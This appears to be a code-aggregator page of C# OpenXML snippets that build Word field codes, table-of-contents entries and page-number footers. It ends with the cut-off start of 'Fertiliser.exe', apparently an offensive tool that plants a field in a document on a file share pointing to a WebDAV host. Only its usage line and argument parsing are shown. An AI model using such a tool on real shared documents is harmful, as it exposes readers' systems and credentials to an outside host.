            miscNod = new OpenXmlMiscNode(System.Xml.XmlNodeType.Comment, @"<!-- OpenXmlCompositeType.OneChoice --> ");
            fieldChar.PrependChild(miscNod);
            Assert.Same(miscNod, fieldChar.FirstChild);
            Assert.Same(ffData, fieldChar.LastChild);
            Assert.Same(ffData, fieldChar.FormFieldData);
            Assert.Null(fieldChar.FieldData);

            NumberingChange numChange = new NumberingChange();

            fieldChar.NumberingChange = numChange;
            Assert.Same(miscNod, fieldChar.FirstChild);
            Assert.Same(numChange, fieldChar.LastChild);
            Assert.Same(numChange, fieldChar.NumberingChange);
            Assert.Null(fieldChar.FieldData);
        }
Exemplo n.º 11
0
        /// <summary>
        /// Формула простановки формулы на последнюю страницу
        /// </summary>
        /// <param name="footerstext"></param>
        /// <returns></returns>
        private Run FormulandFooters(string footerstext)
        {
            Run       run   = new Run();
            FieldChar field = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };
            FieldCode code = new FieldCode()
            {
                Text = "IF"
            };
            FieldChar field1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };
            FieldCode code1 = new FieldCode()
            {
                Text = "PAGE"
            };
            FieldChar field2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };
            FieldChar field6 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };
            FieldCode code2 = new FieldCode()
            {
                Text = "="
            };
            FieldChar field3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };
            FieldCode code3 = new FieldCode()
            {
                Text = "NUMPAGES"
            };
            FieldChar field4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };
            FieldChar field5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };
            FieldCode code5 = new FieldCode()
            {
                Text = "\""
            };
            FieldCode code6 = new FieldCode()
            {
                Text = footerstext
            };
            FieldCode code7 = new FieldCode()
            {
                Text = "\""
            };
            FieldCode code8 = new FieldCode()
            {
                Text = "\"\""
            };
            FieldChar field7 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };
            FieldChar field8 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };
            RunProperties runProperties = new RunProperties();
            NoProof       noProof       = new NoProof();

            runProperties.Append(noProof);
            run.Append(field);
            run.Append(code);
            run.Append(field1);
            run.Append(code1);
            run.Append(field2);
            run.Append(field6);
            run.Append(code2);
            run.Append(field3);
            run.Append(code3);
            run.Append(field4);
            run.Append(field5);
            run.Append(code5);
            run.Append(code6);
            run.Append(code7);
            run.Append(code8);
            run.Append(field7);
            run.Append(field8);
            run.Append(runProperties);
            return(run);
        }
Exemplo n.º 12
0
        public static Paragraph GenerateParagraph()
        {
            Paragraph paragraph1 = new Paragraph()
            {
                RsidParagraphMarkRevision = "00D36A28", RsidParagraphAddition = "00D36A28", RsidRunAdditionDefault = "005478FD", ParagraphId = "16FCFC06", TextId = "77777777"
            };

            ParagraphProperties paragraphProperties1 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId1    = new ParagraphStyleId()
            {
                Val = "TOC1"
            };

            ParagraphMarkRunProperties paragraphMarkRunProperties1 = new ParagraphMarkRunProperties();
            RunFonts runFonts1 = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial", EastAsiaTheme = ThemeFontValues.MinorEastAsia
            };
            Caps caps1 = new Caps()
            {
                Val = false
            };
            NoProof  noProof1  = new NoProof();
            FontSize fontSize1 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript1 = new FontSizeComplexScript()
            {
                Val = "20"
            };
            Languages languages1 = new Languages()
            {
                EastAsia = "en-CA"
            };

            paragraphMarkRunProperties1.Append(runFonts1);
            paragraphMarkRunProperties1.Append(caps1);
            paragraphMarkRunProperties1.Append(noProof1);
            paragraphMarkRunProperties1.Append(fontSize1);
            paragraphMarkRunProperties1.Append(fontSizeComplexScript1);
            paragraphMarkRunProperties1.Append(languages1);

            paragraphProperties1.Append(paragraphStyleId1);
            paragraphProperties1.Append(paragraphMarkRunProperties1);

            Run run1 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties1 = new RunProperties();
            RunFonts      runFonts2      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize2 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript2 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties1.Append(runFonts2);
            runProperties1.Append(fontSize2);
            runProperties1.Append(fontSizeComplexScript2);
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run1.Append(runProperties1);
            run1.Append(fieldChar1);
            BookmarkEnd bookmarkEnd1 = new BookmarkEnd()
            {
                Id = "3"
            };
            BookmarkEnd bookmarkEnd2 = new BookmarkEnd()
            {
                Id = "4"
            };
            BookmarkEnd bookmarkEnd3 = new BookmarkEnd()
            {
                Id = "5"
            };

            Run run2 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties2 = new RunProperties();
            RunFonts      runFonts3      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize3 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript3 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties2.Append(runFonts3);
            runProperties2.Append(fontSize3);
            runProperties2.Append(fontSizeComplexScript3);
            FieldCode fieldCode1 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode1.Text = " TOC \\o \"1-2\" \\h \\z \\u ";

            run2.Append(runProperties2);
            run2.Append(fieldCode1);

            Run run3 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties3 = new RunProperties();
            RunFonts      runFonts4      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize4 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript4 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties3.Append(runFonts4);
            runProperties3.Append(fontSize4);
            runProperties3.Append(fontSizeComplexScript4);
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run3.Append(runProperties3);
            run3.Append(fieldChar2);

            Hyperlink hyperlink1 = new Hyperlink()
            {
                History = true, Anchor = "_Toc459701534"
            };

            Run run4 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties4 = new RunProperties();
            RunStyle      runStyle1      = new RunStyle()
            {
                Val = "Hyperlink"
            };
            RunFonts runFonts5 = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof  noProof2  = new NoProof();
            FontSize fontSize5 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript5 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties4.Append(runStyle1);
            runProperties4.Append(runFonts5);
            runProperties4.Append(noProof2);
            runProperties4.Append(fontSize5);
            runProperties4.Append(fontSizeComplexScript5);
            Text text1 = new Text();

            text1.Text = "Article 1 definitions and iNTERPRETATION";

            run4.Append(runProperties4);
            run4.Append(text1);

            Run run5 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties5 = new RunProperties();
            RunFonts      runFonts6      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof3   = new NoProof();
            WebHidden webHidden1 = new WebHidden();
            FontSize  fontSize6  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript6 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties5.Append(runFonts6);
            runProperties5.Append(noProof3);
            runProperties5.Append(webHidden1);
            runProperties5.Append(fontSize6);
            runProperties5.Append(fontSizeComplexScript6);
            TabChar tabChar1 = new TabChar();

            run5.Append(runProperties5);
            run5.Append(tabChar1);

            Run run6 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties6 = new RunProperties();
            RunFonts      runFonts7      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof4   = new NoProof();
            WebHidden webHidden2 = new WebHidden();
            FontSize  fontSize7  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript7 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties6.Append(runFonts7);
            runProperties6.Append(noProof4);
            runProperties6.Append(webHidden2);
            runProperties6.Append(fontSize7);
            runProperties6.Append(fontSizeComplexScript7);
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run6.Append(runProperties6);
            run6.Append(fieldChar3);

            Run run7 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties7 = new RunProperties();
            RunFonts      runFonts8      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof5   = new NoProof();
            WebHidden webHidden3 = new WebHidden();
            FontSize  fontSize8  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript8 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties7.Append(runFonts8);
            runProperties7.Append(noProof5);
            runProperties7.Append(webHidden3);
            runProperties7.Append(fontSize8);
            runProperties7.Append(fontSizeComplexScript8);
            FieldCode fieldCode2 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode2.Text = " PAGEREF _Toc459701534 \\h ";

            run7.Append(runProperties7);
            run7.Append(fieldCode2);

            Run run8 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties8 = new RunProperties();
            RunFonts      runFonts9      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof6   = new NoProof();
            WebHidden webHidden4 = new WebHidden();
            FontSize  fontSize9  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript9 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties8.Append(runFonts9);
            runProperties8.Append(noProof6);
            runProperties8.Append(webHidden4);
            runProperties8.Append(fontSize9);
            runProperties8.Append(fontSizeComplexScript9);

            run8.Append(runProperties8);

            Run run9 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties9 = new RunProperties();
            RunFonts      runFonts10     = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof7   = new NoProof();
            WebHidden webHidden5 = new WebHidden();
            FontSize  fontSize10 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript10 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties9.Append(runFonts10);
            runProperties9.Append(noProof7);
            runProperties9.Append(webHidden5);
            runProperties9.Append(fontSize10);
            runProperties9.Append(fontSizeComplexScript10);
            FieldChar fieldChar4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run9.Append(runProperties9);
            run9.Append(fieldChar4);

            Run run10 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties10 = new RunProperties();
            RunFonts      runFonts11      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof8   = new NoProof();
            WebHidden webHidden6 = new WebHidden();
            FontSize  fontSize11 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript11 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties10.Append(runFonts11);
            runProperties10.Append(noProof8);
            runProperties10.Append(webHidden6);
            runProperties10.Append(fontSize11);
            runProperties10.Append(fontSizeComplexScript11);
            Text text2 = new Text();

            text2.Text = "2";

            run10.Append(runProperties10);
            run10.Append(text2);

            Run run11 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties11 = new RunProperties();
            RunFonts      runFonts12      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof9   = new NoProof();
            WebHidden webHidden7 = new WebHidden();
            FontSize  fontSize12 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript12 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties11.Append(runFonts12);
            runProperties11.Append(noProof9);
            runProperties11.Append(webHidden7);
            runProperties11.Append(fontSize12);
            runProperties11.Append(fontSizeComplexScript12);
            FieldChar fieldChar5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run11.Append(runProperties11);
            run11.Append(fieldChar5);

            hyperlink1.Append(run4);
            hyperlink1.Append(run5);
            hyperlink1.Append(run6);
            hyperlink1.Append(run7);
            hyperlink1.Append(run8);
            hyperlink1.Append(run9);
            hyperlink1.Append(run10);
            hyperlink1.Append(run11);

            paragraph1.Append(paragraphProperties1);
            paragraph1.Append(run1);
            paragraph1.Append(bookmarkEnd1);
            paragraph1.Append(bookmarkEnd2);
            paragraph1.Append(bookmarkEnd3);
            paragraph1.Append(run2);
            paragraph1.Append(run3);
            paragraph1.Append(hyperlink1);
            return(paragraph1);
        }
Exemplo n.º 13
0
        public static void ChangeTotalCount(Text currentText)
        {
            var parentRun  = currentText.Parent;
            var grandPaa   = parentRun.Parent;
            var pageNumber = "";

            List <Run> runsToRemove = grandPaa.Descendants <DocumentFormat.OpenXml.Wordprocessing.Run>().Take(7).ToList();

            foreach (Run runToRemove in runsToRemove)
            {
                var index = runsToRemove.IndexOf(runToRemove);
                if (index == 4)
                {
                    pageNumber = runToRemove.InnerText;
                }
                runToRemove.RemoveAllChildren();
                runToRemove.Remove();

                //if (runToRemove.InnerText != "")
                //{
                //    Text textToRemove = runToRemove.Descendants<Text>().Where(d => d.LocalName == "t").FirstOrDefault();
                //    if (textToRemove == null)
                //    {
                //        var instrText = runToRemove.Descendants().Where(d => d.LocalName=="instrText").FirstOrDefault();
                //        if (instrText != null)
                //        {
                //            instrText.RemoveAllChildren();
                //            instrText.Remove();
                //        }
                //    }
                //    if (textToRemove != null)
                //    {
                //        textToRemove.RemoveAllChildren();
                //        textToRemove.Remove();
                //    }
                //}
            }
#warning Uncomment thes are changes made involving Grandpaa

            #region UnComment
            //For Referencing Where to Insert Pagination Nodes
            Run referenceRun = grandPaa.Descendants <DocumentFormat.OpenXml.Wordprocessing.Run>().Skip(1).Take(1).First();
            //New Run For Pagination Node at One Line
            Run           newRun         = new Run();
            RunProperties runProperties4 = new RunProperties();
            FontSize      fontSize2      = new FontSize()
            {
                Val = "16"
            };

            runProperties4.Append(fontSize2);
            Text text2 = new Text();
            text2.Text = "Page:";

            newRun.Append(runProperties4);
            newRun.Append(text2);
            #region ByWaqas

            FieldChar objFieldChar_1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };
            newRun.Append(objFieldChar_1);
            //grandPaa.Append(parentRun);


            RunProperties runProperties26 = new RunProperties();
            FontSize      fontSize26      = new FontSize()
            {
                Val = "16"
            };

            runProperties26.Append(fontSize26);

            FieldCode fieldCode1 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };
            fieldCode1.Text = " PAGE ";

            //page is page number
            newRun.Append(runProperties26);
            newRun.Append(fieldCode1);
            //grandPaa.Append(parentRun);
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };
            newRun.Append(fieldChar2);


            FieldChar objFieldChar_3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };
            newRun.Append(objFieldChar_3);
            //grandPaa.Append(objRun_6);

            RunProperties runProperties25 = new RunProperties();
            FontSize      fontSize25      = new FontSize()
            {
                Val = "16"
            };
            runProperties25.Append(fontSize25);

            Text objText_3 = new Text()
            {
                Space = SpaceProcessingModeValues.Preserve
            };
            objText_3.Text = " of ";
            newRun.Append(runProperties25);
            newRun.Append(objText_3);
            //grandPaa.Append(objRun_7);


            FieldChar objFieldChar_4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };
            newRun.Append(objFieldChar_4);
            //grandPaa.Append(objRun_8);


            RunProperties runProperties5 = new RunProperties();
            Spacing       spacing1       = new Spacing()
            {
                Val = -7
            };
            FontSize fontSize3 = new FontSize()
            {
                Val = "16"
            };
            runProperties5.Append(spacing1);
            runProperties5.Append(fontSize3);

            FieldCode fieldCode2 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };
            fieldCode2.Text = " NUMPAGES  ";

            newRun.Append(runProperties5);
            newRun.Append(fieldCode2);
            //grandPaa.Append(run5);
            FieldChar fieldChar5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };
            newRun.Append(fieldChar5);

            FieldChar objFieldChar_6 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };
            newRun.Append(objFieldChar_6);
            //grandPaa.Append(objRun_12);
            #endregion
            grandPaa.InsertBefore(newRun, referenceRun);
            #endregion
#warning Uncomment this it is before changes made involving Grandpaa
            //foreach (Run runToRemove in runsToRemove)
            //{
            //    var index = runsToRemove.IndexOf(runToRemove);
            //    switch (index)
            //    {
            //        case 0:
            //            RunProperties runProperties1 = new RunProperties();
            //            FontSize fontSize1 = new FontSize() { Val = "16" };

            //            runProperties1.Append(fontSize1);
            //            Text text1 = new Text();
            //            text1.Text = "Page: ";

            //            parentRun.Append(runProperties1);
            //            parentRun.Append(text1);
            //            break;
            //        case 1:
            //            RunProperties runProperties2 = new RunProperties();
            //            FontSize fontSize2 = new FontSize() { Val = "16" };

            //            runProperties2.Append(fontSize2);
            //            Text text2 = new Text();
            //            text2.Text = " ";

            //            parentRun.Append(runProperties2);
            //            parentRun.Append(text2);
            //            break;
            //        case 2:
            //            FieldChar objFieldChar_1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
            //            parentRun.Append(objFieldChar_1);



            //            RunProperties runProperties26 = new RunProperties();
            //            FontSize fontSize26 = new FontSize() { Val = "16" };

            //            runProperties26.Append(fontSize26);

            //            FieldCode objFieldCode_1 = new FieldCode();
            //            objFieldCode_1.Text = "PAGE";
            //            //page is page number
            //            parentRun.Append(runProperties26);
            //            parentRun.Append(objFieldCode_1);

            //            FieldChar objFieldChar_3 = new FieldChar() { FieldCharType = FieldCharValues.End };
            //            parentRun.Append(objFieldChar_3);
            //            break;
            //        case 3:
            //            RunProperties runProperties3 = new RunProperties();
            //            FontSize fontSize03 = new FontSize() { Val = "16" };

            //            runProperties3.Append(fontSize03);
            //            Text text03 = new Text();
            //            text03.Text = " ";

            //            parentRun.Append(runProperties3);
            //            parentRun.Append(text03);
            //            break;
            //        case 4:
            //            //RunProperties runProperties4 = new RunProperties();
            //            //FontSize fontSize4 = new FontSize() { Val = "16" };

            //            //runProperties4.Append(fontSize4);
            //            //Text text4 = new Text();
            //            //text4.Text = " "+ Convert.ToInt32(pageNumber);

            //            //parentRun.Append(runProperties4);
            //            //parentRun.Append(text4);
            //            break;
            //        case 5:
            //            RunProperties runProperties6 = new RunProperties();
            //            FontSize fontSize6 = new FontSize() { Val = "16" };

            //            runProperties6.Append(fontSize6);
            //            Text text6 = new Text();
            //            text6.Text = "of ";

            //            parentRun.Append(runProperties6);
            //            parentRun.Append(text6);
            //            break;
            //        case 6:
            //            FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
            //            parentRun.Append(objFieldChar_4);
            //            //grandPaa.Append(objRun_8);


            //            RunProperties runProperties5 = new RunProperties();
            //            Spacing spacing1 = new Spacing() { Val = -7 };
            //            FontSize fontSize3 = new FontSize() { Val = "16" };
            //            runProperties5.Append(spacing1);
            //            runProperties5.Append(fontSize3);
            //            FieldCode text3 = new FieldCode();
            //            //it is where we need to set our pages count
            //            text3.Text = "NUMPAGES";

            //            parentRun.Append(runProperties5);
            //            parentRun.Append(text3);
            //            //grandPaa.Append(run5);


            //            FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
            //            parentRun.Append(objFieldChar_6);
            //            break;

            //        default:
            //            break;
            //    }
            //}
            //currentText.Text = currentText.Text.Substring(0, 4);
            //    FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
            //parentRun.Append(objFieldChar_4);
            ////grandPaa.Append(objRun_8);


            //RunProperties runProperties5 = new RunProperties();
            //Spacing spacing1 = new Spacing() { Val = -7 };
            //FontSize fontSize3 = new FontSize() { Val = "16" };
            //runProperties5.Append(spacing1);
            //runProperties5.Append(fontSize3);
            //FieldCode text3 = new FieldCode();
            ////it is where we need to set our pages count
            //text3.Text = "NUMPAGES";

            //parentRun.Append(runProperties5);
            //parentRun.Append(text3);
            ////grandPaa.Append(run5);


            //FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
            //parentRun.Append(objFieldChar_6);
        }
Exemplo n.º 14
0
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() {MCAttributes = new MarkupCompatibilityAttributes() {Ignorable = "w14 wp14"}};
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            Paragraph paragraph24 = new Paragraph()
                                    {
                                        RsidParagraphAddition = "0005059E",
                                        RsidParagraphProperties = "00367B71",
                                        RsidRunAdditionDefault = "0005059E"
                                    };

            ParagraphProperties paragraphProperties5 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId1 = new ParagraphStyleId() {Val = "Footer"};

            Tabs tabs3 = new Tabs();
            TabStop tabStop5 = new TabStop() {Val = TabStopValues.Clear, Position = 4680};
            TabStop tabStop6 = new TabStop() {Val = TabStopValues.Clear, Position = 9360};
            TabStop tabStop7 = new TabStop() {Val = TabStopValues.Left, Position = 1896};

            tabs3.Append(tabStop5);
            tabs3.Append(tabStop6);
            tabs3.Append(tabStop7);

            paragraphProperties5.Append(paragraphStyleId1);
            paragraphProperties5.Append(tabs3);

            Run run27 = new Run();

            RunProperties runProperties13 = new RunProperties();
            Color color5 = new Color() {Val = "808080", ThemeColor = ThemeColorValues.Background1, ThemeShade = "80"};
            Spacing spacing3 = new Spacing() {Val = 60};

            runProperties13.Append(color5);
            runProperties13.Append(spacing3);
            Text text23 = new Text();
            text23.Text = "Page";

            run27.Append(runProperties13);
            run27.Append(text23);

            Run run28 = new Run();
            Text text24 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text24.Text = " | ";

            run28.Append(text24);

            Run run29 = new Run();
            FieldChar fieldChar1 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run29.Append(fieldChar1);

            Run run30 = new Run();
            FieldCode fieldCode1 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode1.Text = " PAGE   \\* MERGEFORMAT ";

            run30.Append(fieldCode1);

            Run run31 = new Run();
            FieldChar fieldChar2 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run31.Append(fieldChar2);

            Run run32 = new Run() {RsidRunProperties = "007977E5", RsidRunAddition = "007977E5"};

            RunProperties runProperties14 = new RunProperties();
            Bold bold4 = new Bold();
            BoldComplexScript boldComplexScript4 = new BoldComplexScript();
            NoProof noProof14 = new NoProof();

            runProperties14.Append(bold4);
            runProperties14.Append(boldComplexScript4);
            runProperties14.Append(noProof14);
            Text text25 = new Text();
            text25.Text = "1";

            run32.Append(runProperties14);
            run32.Append(text25);

            Run run33 = new Run();

            RunProperties runProperties15 = new RunProperties();
            Bold bold5 = new Bold();
            BoldComplexScript boldComplexScript5 = new BoldComplexScript();
            NoProof noProof15 = new NoProof();

            runProperties15.Append(bold5);
            runProperties15.Append(boldComplexScript5);
            runProperties15.Append(noProof15);
            FieldChar fieldChar3 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run33.Append(runProperties15);
            run33.Append(fieldChar3);

            Run run34 = new Run();

            RunProperties runProperties16 = new RunProperties();
            Bold bold6 = new Bold();
            BoldComplexScript boldComplexScript6 = new BoldComplexScript();
            NoProof noProof16 = new NoProof();

            runProperties16.Append(bold6);
            runProperties16.Append(boldComplexScript6);
            runProperties16.Append(noProof16);
            Text text26 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text26.Text = " of ";

            run34.Append(runProperties16);
            run34.Append(text26);

            Run run35 = new Run();

            RunProperties runProperties17 = new RunProperties();
            Bold bold7 = new Bold();
            BoldComplexScript boldComplexScript7 = new BoldComplexScript();
            NoProof noProof17 = new NoProof();

            runProperties17.Append(bold7);
            runProperties17.Append(boldComplexScript7);
            runProperties17.Append(noProof17);
            FieldChar fieldChar4 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run35.Append(runProperties17);
            run35.Append(fieldChar4);

            Run run36 = new Run();

            RunProperties runProperties18 = new RunProperties();
            Bold bold8 = new Bold();
            BoldComplexScript boldComplexScript8 = new BoldComplexScript();
            NoProof noProof18 = new NoProof();

            runProperties18.Append(bold8);
            runProperties18.Append(boldComplexScript8);
            runProperties18.Append(noProof18);
            FieldCode fieldCode2 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode2.Text = " NUMPAGES  \\* Arabic  \\* MERGEFORMAT ";

            run36.Append(runProperties18);
            run36.Append(fieldCode2);

            Run run37 = new Run();

            RunProperties runProperties19 = new RunProperties();
            Bold bold9 = new Bold();
            BoldComplexScript boldComplexScript9 = new BoldComplexScript();
            NoProof noProof19 = new NoProof();

            runProperties19.Append(bold9);
            runProperties19.Append(boldComplexScript9);
            runProperties19.Append(noProof19);
            FieldChar fieldChar5 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run37.Append(runProperties19);
            run37.Append(fieldChar5);

            Run run38 = new Run() {RsidRunAddition = "007977E5"};

            RunProperties runProperties20 = new RunProperties();
            Bold bold10 = new Bold();
            BoldComplexScript boldComplexScript10 = new BoldComplexScript();
            NoProof noProof20 = new NoProof();

            runProperties20.Append(bold10);
            runProperties20.Append(boldComplexScript10);
            runProperties20.Append(noProof20);
            Text text27 = new Text();
            text27.Text = "1";

            run38.Append(runProperties20);
            run38.Append(text27);

            Run run39 = new Run();

            RunProperties runProperties21 = new RunProperties();
            Bold bold11 = new Bold();
            BoldComplexScript boldComplexScript11 = new BoldComplexScript();
            NoProof noProof21 = new NoProof();

            runProperties21.Append(bold11);
            runProperties21.Append(boldComplexScript11);
            runProperties21.Append(noProof21);
            FieldChar fieldChar6 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run39.Append(runProperties21);
            run39.Append(fieldChar6);

            Run run40 = new Run();

            RunProperties runProperties22 = new RunProperties();
            Bold bold12 = new Bold();
            BoldComplexScript boldComplexScript12 = new BoldComplexScript();
            NoProof noProof22 = new NoProof();

            runProperties22.Append(bold12);
            runProperties22.Append(boldComplexScript12);
            runProperties22.Append(noProof22);
            TabChar tabChar1 = new TabChar();

            run40.Append(runProperties22);
            run40.Append(tabChar1);

            paragraph24.Append(paragraphProperties5);
            paragraph24.Append(run27);
            paragraph24.Append(run28);
            paragraph24.Append(run29);
            paragraph24.Append(run30);
            paragraph24.Append(run31);
            paragraph24.Append(run32);
            paragraph24.Append(run33);
            paragraph24.Append(run34);
            paragraph24.Append(run35);
            paragraph24.Append(run36);
            paragraph24.Append(run37);
            paragraph24.Append(run38);
            paragraph24.Append(run39);
            paragraph24.Append(run40);

            footer1.Append(paragraph24);

            footerPart1.Footer = footer1;
        }
Exemplo n.º 15
0
        static void Main(string[] args)
        {
            Console.WriteLine(Config.banner);
            Console.WriteLine("Author: @domchell\n");

            if (args.Length < 3)
            {
                Console.WriteLine("Usage: Fertiliser.exe <Path> <WebDAV Path> <Field Comment>");
                Console.WriteLine("Example: Fertiliser.exe \\\\fileserver\\important.docx http://workstation:8888/foo \"Update required\"");
                return;
            }

            string filepath   = args[0].Trim();
            string webdavpath = args[1].Trim();
            string comment    = args[2].Trim();

